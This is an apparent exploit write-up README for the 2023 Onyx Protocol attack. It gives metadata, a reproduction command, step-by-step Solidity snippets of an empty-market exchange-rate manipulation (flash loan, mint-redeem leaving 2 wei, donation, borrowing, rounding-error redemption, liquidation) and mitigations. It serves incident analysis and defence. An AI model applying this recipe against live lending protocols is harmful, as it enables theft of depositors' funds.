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OnyxProtocol

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Attacker1Contracts.sol
Attacker1Contracts.sol
 
 
Attacker2Contracts.sol
Attacker2Contracts.sol
 
 
OnyxProtocol.attack.sol
OnyxProtocol.attack.sol
 
 
README.md
README.md
 
 

README.md

title Onyx Protocol
description Creating empty market conditions to manipulate collateral values
type Exploit
network
ethereum
date 2023-11-01
loss_usd 2100000
returned_usd 0
tags
business logic
price manipulation
subcategory
vulnerable_contracts
0xf7c21600452939a81b599017ee24ee0dfd92aaaccd0a55d02819a7658a6ef635
tokens_lost
USDC
USDT
PAXG
DAI
WBTC
LINK
ETH
attacker_addresses
0x085bdff2c522e8637d4154039db8746bb8642bff
malicious_token
attack_block
18476513
reproduction_command forge test --match-contract Exploit_Onyx_Protocol -vvv
attack_txs
0xf7c21600452939a81b599017ee24ee0dfd92aaaccd0a55d02819a7658a6ef635
sources

Step-by-step Overview

The Onyx Protocol vulnerability centered on manipulating the protocol's exchange rate calculation (exchangeRate = totalSupply / totalShares). An "empty market" condition was created when Proposal 22 was approved to integrate PEPE token into the protocol. Here's how the vulnerability was exploited:

  1. Setup (Get Flash Loan)

    • Flash loan 4000 WETH from Aave
    • Swap WETH for PEPE tokens
    • Create attack contract to manipulate market

  2. Market Manipulation (Empty Market Attack)

    • Mint small amount of oPEPE (1e18)
    • Redeem almost all oPEPE (leave 2 wei)
    • This creates minimal share tokens while keeping market active

  3. Price manipulation

    • Transfer large amount of PEPE to oPEPE market
    • This inflates the exchange rate since supply is minimal
    • Enter markets to enable borrowing

  4. Exploit Inflated Collateral

    • Use inflated oPEPE as collateral
    • Borrow nearly all ETH from oETH market
    • Exchange rate manipulation makes this possible

  5. Recover donated funds

    • Exploit rounding error to withdraw donated PEPE
    • Calculate exact amount needed for liquidation
    • Redeem underlying PEPE tokens

  6. Liquidation

    • Liquidate borrower position with 1 wei ETH
    • This triggers seizing of collateral
    • Mint precise amount of tokens to reset market
    • Redeem remaining collateral
    • Repay flash loan with profits

Detailed Description

  1. Gets 4000 WETH from Aave V3 and swaps it for PEPE tokens to prepare for the attack.
    AaveV3.flashLoanSimple(address(this), address(WETH), 4000 * 1e18, bytes(""), 0);
    Router.swapExactTokensForTokens(WETH.balanceOf(address(this)), amountOut, path, address(this), block.timestamp + 3600);
  1. Creates minimal share tokens while maintaining an active market by minting and immediately redeeming.
    oPEPE.mint(1e18);
    oPEPE.redeem(oPEPE.totalSupply() - 2); // Leave 2 wei
  1. Donate large amount of PEPE to artificially inflate the exchange rate due to minimal supply.
    PEPE.transfer(address(oPEPE), PEPE.balanceOf(address(this)));
    address[] memory oTokens = new address[](1);
    oTokens[0] = address(oPEPE);
    Unitroller.enterMarkets(oTokens);
  1. Uses inflated oPEPE as collateral to borrow almost all ETH from the oETH market.
    oETHER.borrow(oETHER.getCash() - 1);
    (bool success,) = msg.sender.call{value: address(this).balance}("");
  1. Exploits rounding error to withdraw donated PEPE and calculates precise liquidation amounts.
    oPEPE.redeemUnderlying(redeemAmt);
    (,,, uint256 exchangeRate) = oPEPE.getAccountSnapshot(address(this));
    (, uint256 numSeizeTokens) = Unitroller.liquidateCalculateSeizeTokens(address(oETHER), address(oPEPE), 1);
  1. Liquidates position and resets market state through precise token minting.
    uint256 mintAmount = (exchangeRate / 1e18) * numSeizeTokens - 2;
    oPEPE.mint(mintAmount);
    // Repeats process for other tokens (USDC, USDT, PAXG, DAI, WBTC, LINK)
    WETH.approve(address(AaveV3), amount + premium);

The attack was executed through three main contracts:

Exploit_Onyx_Protocol: Main contract handling flash loan and token swaps Attacker1Contracts: Handles the initial PEPE token manipulation drain ETH from the Onyx Attacker2Contracts: Replicates the attack for other tokens (USDC, USDT, PAXG, DAI, WBTC, LINK)

Possible mitigations

For new markets should consider including and preserving the order of these steps:

  1. Set CF to zero
  2. List market
  3. Mint cTokens
  4. Set CF to non-zero.

Related

  • One Ring Finance - Share price manipulation via reserve balance changes
  • Rari Fuse - Price manipulation in lending protocol with low liquidity
  • Polter Finance - Oracle manipulation to drain lending protocol reserves